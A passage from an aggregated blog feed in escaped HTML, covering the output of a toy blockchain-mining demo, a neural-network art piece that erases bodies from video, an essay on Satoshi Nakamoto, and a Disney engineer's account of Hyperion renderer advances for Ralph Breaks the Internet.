Mining block 1... Valid hash found in 11.316462656s! (hash: 0000Dk0duKeCCHvDKuyFepXgUNc=, nonce: 15,208,609)
Mining block 2... Valid hash found in 28.805735271s! (hash: 0000O104QmKwfp2tVJ2JowVd9DI=, nonce: 37,840,116)

Resulting blockchain (in reversed order):

Block 2: {
   ts:          2018-11-10 15:17:40.602154 +0100 CET m=+22.260933223
   nonce:       37840116
   hash:        0000O104QmKwfp2tVJ2JowVd9DI=
   previous:    0000Dk0duKeCCHvDKuyFepXgUNc=
}

Block 1: {
   ts:          2018-11-10 15:17:29.285761 +0100 CET m=+10.944444407
   nonce:       15208609
   hash:        0000Dk0duKeCCHvDKuyFepXgUNc=
   previous:    0000ociyEZOQk8ekRZ5VXcNJPLY=
}

Block 0: {
   ts:          2018-11-10 15:17:18.341964 +0100 CET m=+0.000555870
   nonce:       18158423
   hash:        0000ociyEZOQk8ekRZ5VXcNJPLY=
   previous:
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We encourage you to play with this code. You can download from the repository and compile and execute it yourself: &lt;a href="https://github.com/dplabs/demistifying-blockchain"&gt;https://github.com/dplabs/demistifying-blockchain&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;In the following and last post of this series, we will implement some benchmarks to analyze how much time it requires to mine a block based on the difficult we set.&lt;/p&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Fri, 16 Nov 2018 00:10:00 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2018/11/15/demistifying-blockchain-part-2/</guid></item><item><title>AI deleting human bodies</title><link>https://rybakov.com/blog/ai_deleting_bodies/</link><description>&lt;div class="video-wrapper"&gt;
  &lt;video class="looped  " controls="controls" id="peopleghoster" loop="true" poster="/video/peopleghoster/peopleghoster.jpg"&gt;
      &lt;source src="../video/peopleghoster/peopleghoster.mp4" type="video/mp4" /&gt;
  &lt;/video&gt;
  &lt;div class="videobuffering" id="peopleghosterbuffering"&gt;&lt;/div&gt;
  &lt;div class="videopaused" id="peopleghosterpaused"&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;I used neural networks to recognize and remove human bodies from videos, simultaneously trying to fill the void they left.
Why? Well, as we are externalizing not just our bodily actions to tools, but our decision process to all-knowing, all-loving AIs, the traditional, perceivable image of what constitutes a human body has become obsolete.
It seems oddly fitting in that case, for disembodied neural networks to remove our outdated bodily image.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://mirahirtz.de/"&gt;Mira Hirtz&lt;/a&gt; performed for the camera. I then used &lt;a href="https://github.com/matterport/Mask_RCNN"&gt;Mask_RCNN&lt;/a&gt; to do body recognition and &lt;a href="https://github.com/JiahuiYu/generative_inpainting"&gt;Generative Image Inpainting with Contextual Attention&lt;/a&gt; to fill in the emptiness.&lt;/p&gt;
&lt;p&gt;This was a test for Bruno Latour&amp;rsquo;s upcoming exhibition on the Critical Zone. Made in November 2018.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Thu, 15 Nov 2018 16:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/ai_deleting_bodies/</guid></item><item><title>On Satoshi</title><link>https://nutcroft.mataroa.blog/blog/on-satoshi/</link><description>&lt;blockquote&gt;
&lt;p&gt;"I've been working on a new electronic cash system that's fully peer-to-peer, with no trusted third party."&lt;br /&gt;
- Satoshi Nakamoto &amp;lt;satoshi&lt;span&gt;&lt;/span&gt;@vistomail.com&amp;gt; &lt;a href="http://www.metzdowd.com/pipermail/cryptography/2008-October/014810.html"&gt;Fri Oct 31 14:10:00 EDT 2008&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I'm irresistibly amazed at the technological marvel of Bitcoin.&lt;/p&gt;
&lt;p&gt;As if the programmer of &lt;a href="https://en.wikipedia.org/wiki/Simulation_hypothesis"&gt;our simulation&lt;/a&gt; descended in their virtual creation with the name of Satoshi Nakamoto. They lived 2 human years, created something that will change the course of humanity, and then reascended back out our universe and into "reality".&lt;/p&gt;
&lt;p&gt;The timeline is eerily elegant:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Aug 2008: bitcoin.org domain registration.&lt;/li&gt;
&lt;li&gt;Oct 2008: Satoshi posts on cryptography@metzdowd.com one of the most legendary papers of all time, then titled: &lt;em&gt;Bitcoin P2P e-cash paper&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Jan 2009: Satoshi releases Bitcoin v0.1 on Sourceforge and mines the genesis block on January 3, 2009, 18:15:05 UTC.&lt;/li&gt;
&lt;li&gt;Nov 2009: Satoshi creates the bitcointalk forum.&lt;/li&gt;
&lt;li&gt;Dec 2010: The last we hear of Satoshi. Last active on bitcointalk on December 13, 2010. Same day of his final post on the bitcoin mailing list (&lt;em&gt;Bitcoin 0.3.19 is released&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;"The Times 03/Jan/2009 Chancellor on brink of second bailout for banks."&lt;br /&gt;
Satoshi's proof that the genesis block was mined no earlier than January 3, 2009.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Satoshi was probably male and living in Japan. &lt;a href="https://diginomics.com/2013/01/09/who-is-satoshi-nakamoto/"&gt;It has been claimed&lt;/a&gt; that when bitcoin.org was registered on August 18, 2008, the registrant used a Japanese anonymous registration service, and hosted it using a Japanese ISP.&lt;/p&gt;
&lt;p&gt;Regarding the bitcoin code, it has been deemed by the community that his work resembles someone's with strong theoretical knowledge of cryptography, probably from academia, rather than a software engineer.&lt;/p&gt;
&lt;p&gt;Satoshi listed his birthdate as April 5, 1975. Probably a random date, but there is wide speculation as to what this date means. Remember, bitcoin conspiracy theory 101: Satoshi does nothing in random.&lt;/p&gt;
&lt;p&gt;Regardless, according to that birthdate, Satoshi would be 34 years old in 2009. His masterful knowledge of C++, cryptography and distributed concepts reveal only part of his genius. What he managed via Bitcoin is the use of existing technologies in such a way that he created something so radical that changed the journey of current technology. Everybody in tech now talks about blockchain. The reason is the work of one person. He devoted—only—2 years of his life for this.&lt;/p&gt;
&lt;p&gt;It is, indeed, amazing that every technology Satoshi used as part to form Bitcoin existed for years. However, no one had thought to combine them is such a unique way; at least until then. Historically, it is common for minds at the forefront of human intelligence to discover the same new things independently. Isaac Newton and Gottfried Leibniz independently discovered calculus at the same time, in the mid-17th century, a famous instance of the theory.&lt;/p&gt;
&lt;p&gt;But, this is not the case for Bitcoin. No one seems to have been close, even though the impact of this technology is &lt;a href="https://youtu.be/DW9WXMp7RDo?t=87"&gt;Brobdingnagian&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I secretly hope the real identity of Satoshi Nakamoto will never be known, thus leaving the story of how Bitcoin came to be, an actual legend.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"I would be surprised if 10 years from now we're not using electronic currency in some way, now that we know a way to do it that won't inevitably get dumbed down when the trusted third party gets cold feet."&lt;br /&gt;
- Satoshi Nakamoto &amp;lt;satoshi&lt;span&gt;&lt;/span&gt;@vistomail.com&amp;gt; &lt;a href="http://www.metzdowd.com/pipermail/cryptography/2009-January/015014.html"&gt;Fri Jan 16 11:03:14 EST 2009&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;---&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Notes&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The Complete Satoshi. Everything he wrote, for us to obsess over. &lt;a href="https://satoshi.nakamotoinstitute.org/"&gt;https://satoshi.nakamotoinstitute.org/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;An excellent analysis of Bitcoin in respect to its shortcomings by the one and only, Gwern Branwen. &lt;a href="http://www.gwern.net/Bitcoin-is-Worse-is-Better"&gt;http://www.gwern.net/Bitcoin-is-Worse-is-Better&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Domain history of bicoin.org by Security Trails. &lt;a href="https://securitytrails.com/domain/bitcoin.org/history/a"&gt;https://securitytrails.com/domain/bitcoin.org/history/a&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</description><author>nutcroft</author><pubDate>Thu, 15 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nutcroft.mataroa.blog/blog/on-satoshi/</guid></item><item><title>Ralph Breaks the Internet</title><link>https://blog.yiningkarlli.com/2018/11/wir2.html</link><description>&lt;div style="display: none;"&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2 id="table-of-contents"&gt;Table of Contents&lt;/h2&gt;

&lt;div class="tableofcontents"&gt;
    &lt;div class="tableofcontents-row"&gt;
        &lt;div class="tableofcontents-column3"&gt;
            &lt;div class="tableofcontents-content"&gt;
                1. &lt;a href="/2018/11/wir2.html#2018-11-15-work"&gt;Making Ralph Breaks the Internet&lt;/a&gt;&lt;br /&gt;
                2. &lt;a href="/2018/11/wir2.html#2018-11-15-frames"&gt;Frames from the Film&lt;/a&gt;&lt;br /&gt;
                3. &lt;a href="/2018/11/wir2.html#2018-11-15-references"&gt;References&lt;/a&gt;&lt;br /&gt;
            &lt;/div&gt;
        &lt;/div&gt;
        &lt;div class="tableofcontents-column3"&gt;
        &lt;/div&gt;
        &lt;div class="tableofcontents-column3"&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;div id="2018-11-15-work"&gt;&lt;/div&gt;

&lt;p&gt;The &lt;a href="http://www.disneyanimation.com/"&gt;Walt Disney Animation Studios&lt;/a&gt; film for 2018 is &lt;a href="https://disneyanimation.com/projects/ralphbreakstheinternet2"&gt;&lt;em&gt;Ralph Breaks the Internet&lt;/em&gt;&lt;/a&gt;, which is the sequel to 2012’s &lt;a href="https://disneyanimation.com/projects/wreckitralph"&gt;&lt;em&gt;Wreck-It Ralph&lt;/em&gt;&lt;/a&gt;.
Over the past two years, I’ve been fortunate enough to work on a number of improvements to Disney’s &lt;a href="http://www.disneyanimation.com/technology/innovations/hyperion"&gt;Hyperion Renderer&lt;/a&gt; for &lt;em&gt;Ralph Breaks the Internet&lt;/em&gt;; collectively, these improvements make up perhaps the biggest jump in rendering capabilities that Hyperion has seen since the original deployment of Hyperion on &lt;a href="https://disneyanimation.com/projects/bighero6"&gt;&lt;em&gt;Big Hero 6&lt;/em&gt;&lt;/a&gt;.
I got my third Disney Animation credit on &lt;em&gt;Ralph Breaks the Internet&lt;/em&gt;!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_00.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_00.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Over the past two years, the Hyperion team has publicly presented a number of major development efforts and research advancements.
Many of these advancements were put into experimental use on &lt;a href="https://blog.yiningkarlli.com/2017/11/olafs-frozen-adventure.html"&gt;&lt;em&gt;Olaf’s Frozen Adventure&lt;/em&gt;&lt;/a&gt; last year, but &lt;em&gt;Ralph Breaks the Internet&lt;/em&gt; is the first time we’ve put all of these new capabilities and features into full-scale production together.
I was fortunate enough to be fairly deeply involved in several of these efforts (specifically, traversal improvements and volume rendering).
One of my favorite things about working at Disney Animation is how production and technology partner together to make our films; we truly would not have been able to pull off any of Hyperion’s new advancements without production’s constant support and willingness to try new things in the name of advancing the artistry of our films.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Ralph Breaks the Internet&lt;/em&gt; is our first feature film to use Hyperion’s new spectral and decomposition tracking &lt;a href=""&gt;[Kutz et al. 2017]&lt;/a&gt; based null-collision volume rendering system exclusively.
Originally we had planned to use the new volume rendering system side-by-side with Hyperion’s previous residual ratio tracking &lt;a href="https://doi.org/10.1145/2661229.2661292"&gt;[Novák 2014]&lt;/a&gt; based volume rendering system &lt;a href="https://doi.org/10.1145/3084873.3084907"&gt;[Fong 2017]&lt;/a&gt;, but the results from the new system were so compelling that the show decided to switch over to the new volume rendering exclusively, which in turn allowed us to deprecate and remove the old volume rendering system ahead of schedule.
This new volume rendering system is the culmination of two years of work from Ralf Habel, Peter Kutz, Patrick Kelly, and myself.
We had the enormous privilege of working with a large number of FX and lighting artists to develop, test, and refine this new system; specifically, I want to call out Jesse Erickson, Henrik Falt, and Alex Nijmeh for really championing the new volume rendering system and encouraging and supporting its development.
We also owe an enormous amount to the rest of the Hyperion development team, which gave us the time and resources to spent two years building a new volume rendering system essentially from scratch.
Finally, I want to underscore that the research and underpins our new volume rendering system was conducted jointly between us and Disney Research Zürich, and that this could not have happened without our colleagues at Disney Research Zürich (specifically, Jan Novák and Marios Papas); I think this entire project has been a huge shining example of the value and importance of having a dedicated blue-sky research division.
Every explosion and cloud and dust plume and every bit of fog and atmospherics you see in Ralf Breaks in the Internet was rendered using the new volume rendering system!
Interestingly, we actually found that while the new volume rendering system is much faster and much more efficient at rendering dense volumes (and especially volumes with lots of high-order scattering) compared to the old system, the new system actually has some difficulty rendering thin volumes such as mist and atmospheric fog.
This isn’t be surprising, since thin volumes require better transmittance sampling over better distance sampling and null collision volume rendering is really optimized for distance sampling.
We were able to work with production to come up with workarounds for this problem on &lt;em&gt;Ralph Breaks the Internet&lt;/em&gt;, but this area is definitely a good topic for future research.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Ralph Breaks the Internet&lt;/em&gt; is also our first feature film to move to exclusively using brute force path-traced subsurface scattering &lt;a href="https://doi.org/10.1145/2897839.2927433"&gt;[Chiang 2016]&lt;/a&gt; for all characters, as a replacement for Hyperion’s previous normalized diffusion based subsurface scattering &lt;a href="https://doi.org/10.1145/2776880.2787670"&gt;[Burley 2015]&lt;/a&gt;.
This feature was tested on &lt;em&gt;Olaf’s Frozen Adventure&lt;/em&gt; in a limited capacity, but &lt;em&gt;Ralph Breaks the Internet&lt;/em&gt; is the first time we’ve switched path-traced subsurface to being to default subsurface mode in the renderer.
Matt Chiang, Peter Kutz, and Brent Burley put a lot of effort into developing new sampling techniques to reduce color noise in subsurface scattering, and also into developing a new parameterization that closely matched Hyperion’s normalized diffusion parameterization, which allowed artists to basically just flip a switch between normalized diffusion and path-traced subsurface and get a predictable, similar result.
Many more details on Hyperion’s path-traced subsurface implementation are in our recent system architecture paper &lt;a href="https://dl.acm.org/citation.cfm?id=3182159"&gt;[Burley 2018]&lt;/a&gt;.
In addition to making characters we already know, such as Ralph and Vanellope, look better and more detailed, path-traced subsurface scattering also proved critical to hitting the required looks for new characters, such as the slug-like Double Dan character.&lt;/p&gt;

&lt;p&gt;When Ralph and Vanellope first enter the world of the internet, there are several establishing shots showing vast vistas of the enormous infinite metropolis that the film depicts the internet as.
Early in production, some render tests of the internet metropolis proved to be extremely challenging due to the sheer amount of geometry in the scene.
Although instancing was used extensively, the way the scenes had to be built in our production pipeline meant that Hyperion wasn’t able to leverage the instancing in the scene as efficiently as we would have liked.
Additionally, the way the instance groups were structured made traversal in Hyperion less ideal than it could have been.
After encountering smaller-scale versions of the same problems on &lt;em&gt;Moana&lt;/em&gt;, Peter Kutz and I had arrived at an idea that we called “multiple entry points”, which basically lets Hyperion blur the lines between top and bottom level BVHs in a two-level BVH structure.
By inserting mid-level nodes from bottom level BVHs in to the top-level BVH, Hyperion can produce a much more efficient top-level BVH, dramatically accelerating rendering of large instance groups and other difficult-to-split pieces of large geometry, such as groundplanes.
This idea is very similar to BVH rebraiding &lt;a href="https://doi.org/10.1145/3105762.3105776"&gt;[Benthin et al. 2017]&lt;/a&gt;, but we arrived at our approach independently before the publication of BVH rebraiding.
After initial testing on &lt;em&gt;Olaf’s Frozen Adventure&lt;/em&gt; proved promising, we enabled multiple entry points by default for the entirety of &lt;em&gt;Ralph Breaks the Internet&lt;/em&gt;.
Additionally, Dan Teece developed a powerful automatic geometry de-duplication system, which allows Hyperion to reclaim large amounts of memory in cases where multiple instance groups are authored with separate copies of the same master geometry.
Greg Nichols and I also developed a new multithreading strategy for handling Hyperion’s ultra-wide batched ray traversal, which significantly improved Hyperion’s multithreaded scalability during traversal to near-linear scaling with number of cores.
All of these geometry and traversal improvements collectively meant that by the main production push for the show, render times for the large internet vista shots had dropped from being by far the highest in the show to being indistinguishable from any other normal shot.
These improvements also proved to be timely, since the internet set was just the beginning of massive-scale geometry and instancing on &lt;em&gt;Ralph Breaks the Internet&lt;/em&gt;; solving the render efficiency problems for the internet set also made other large-scale instancing sequences, such as the Ralphzilla battle &lt;a href="https://doi.org/10.1145/3306307.3328179"&gt;[Byun et al. 2019]&lt;/a&gt; at the end of the film and the massive crowds &lt;a href="https://doi.org/10.1145/3306307.3328185"&gt;[Richards et al. 2019]&lt;/a&gt; in the internet, easier to render.&lt;/p&gt;

&lt;p&gt;Another major advancement we made on &lt;em&gt;Ralph Breaks the Internet&lt;/em&gt;, in collaboration with Disney Research Zürich and our sister studio Pixar Animation Studios, is a new machine-learning based denoiser.
To the best of my knowledge, Disney Animation was one of the first studios with a successful widescale deployment of a production denoiser on &lt;em&gt;Big Hero 6&lt;/em&gt;.
The Hyperion denoiser used from &lt;em&gt;Big Hero 6&lt;/em&gt; through &lt;em&gt;Olaf’s Frozen Adventure&lt;/em&gt; is a hand-tuned denoiser based on and influenced by &lt;a href="https://doi.org/10.1145/2366145.2366213"&gt;[Li et al. 2012]&lt;/a&gt; and &lt;a href="https://doi.org/10.1111/cgf.12219"&gt;[Rousselle et al. 2012]&lt;/a&gt;, and has since been adopted by the Renderman team as the production denoiser that ships with Renderman today.
Midway through production on &lt;em&gt;Ralph Breaks the Internet&lt;/em&gt;, David Adler from the Hyperion team in collaboration with Fabrice Rousselle, Jan Novák, Gerhard Röthilin, and others from Disney Research Zürich were able to deploy a new, next-generation machine-learning based denoiser &lt;a href="https://doi.org/10.1145/3197517.3201388"&gt;[Vogels et al. 2018]&lt;/a&gt;
Developed primarily by Disney Research Zürich, the new machine-learning denoiser allowed us to cut render times by up to 75% in some cases.
This example is yet another case of basic scientific research at Disney Research leading to unexpected but enormous benefits to production in all of the wider Walt Disney Company’s various animation studios!&lt;/p&gt;

&lt;p&gt;In addition to everything above, many more smaller improvements were made in all areas of Hyperion for &lt;em&gt;Ralph Breaks the Internet&lt;/em&gt;. Dan Teece developed a really cool “edge” shader module, which was used to create all of the silhouette edge glows in the internet world, and Dan also worked closely with FX artists to develop render-side support for various fracture and destruction workflows &lt;a href="https://doi.org/10.1145/3214745.3214814"&gt;[Harrower et al. 2018]&lt;/a&gt;. Brent Burley developed several improvements to Hyperion’s depth of field support, including a realistic cat’s eye bokeh effect. 
Finally, as always, the production of &lt;em&gt;Ralph Breaks the Internet&lt;/em&gt; has inspired many more future improvements to Hyperion that I can’t write about yet, since they haven’t been published yet.&lt;/p&gt;

&lt;p&gt;The original &lt;em&gt;Wreck-It Ralph&lt;/em&gt; is one of my favorite modern Disney movies, and I think &lt;em&gt;Ralph Breaks the Internet&lt;/em&gt; more than lives up to the original.
The film is smart and hilarious while maintaining the depth that made the first &lt;em&gt;Wreck-It Ralph&lt;/em&gt; so good.
Ralph and Vanellope are just as lovable as before and grow further as characters, and all of the new characters are really awesome (Shank and Yesss and the film’s take on the Disney princesses are particular favorites of mine).
More importantly for a rendering blog though, the film is also just gorgeous to look at.
With every film, the whole studio takes pride in pushing the envelope even further in terms of artistry, craftsmanship, and sheer visual beauty.
The number of environments and settings in &lt;em&gt;Ralph Breaks the Internet&lt;/em&gt; is enormous and highly varied; the internet is depicted as a massive city that pushed the limits on how much visual complexity we can render (and from our previous three feature films, we can already render an unbelievable amount!), old locations from the first &lt;em&gt;Wreck-It Ralph&lt;/em&gt; are revisited with exponentially more visual detail and richness than before, and there’s even a full on musical number with theatrical lighting somewhere in there!&lt;/p&gt;

&lt;div id="2018-11-15-frames"&gt;&lt;/div&gt;

&lt;p&gt;Below are some stills from the movie, in no particular order, 100% rendered using Hyperion.
If you want to see more, or if you just want to see a really great movie, go see &lt;em&gt;Ralph Breaks the Internet&lt;/em&gt; on the biggest screen you can find!
There are a TON of easter eggs in the film to look out for, and I highly recommend sticking around after the credits for this one.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_01.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_01.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_02.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_02.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_03.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_03.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_04.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_04.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_05.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_05.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_06.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_06.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_07.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_07.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_08.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_08.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_09.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_09.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_37.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_37.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_10.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_10.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_11.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_11.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_12.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_12.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_46.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_46.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_13.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_13.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_14.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_14.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_15.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_15.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_41.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_41.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_16.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_16.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_17.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_17.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_28.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_28.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_29.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_29.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_32.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_32.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_31.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_31.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_18.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_18.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_19.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_19.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_20.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_20.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_22.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_22.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_30.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_30.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_23.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_23.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_24.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_24.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_38.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_38.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_25.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_25.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_26.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_26.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_21.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_21.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_33.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_33.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_48.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2018/Nov/WIR2_48.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

